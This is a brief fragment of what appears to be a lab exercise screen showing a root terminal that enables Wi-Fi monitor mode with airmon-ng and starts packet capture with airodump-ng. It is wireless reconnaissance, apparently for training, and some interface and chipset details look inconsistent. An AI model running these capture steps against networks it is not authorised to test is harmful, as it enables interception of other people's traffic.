Floor 1 Overview > IT Administration > IT-Laptop

Questions

Application Places Wed 20:15

Lab

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Mode:Managed Access Point: Not-Associated Tx-Power=20dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on

enp2s0 no wireless extensions.

root@IT-Laptop:~# airmon-ng start wlp1s0

PHY Interface Driver Chipset
phy0 wlp1s0mon ath9k Netgear NetXtreme Wireless B/G/N Adapter

root@IT-Laptop:~# airodump-ng wlp1s0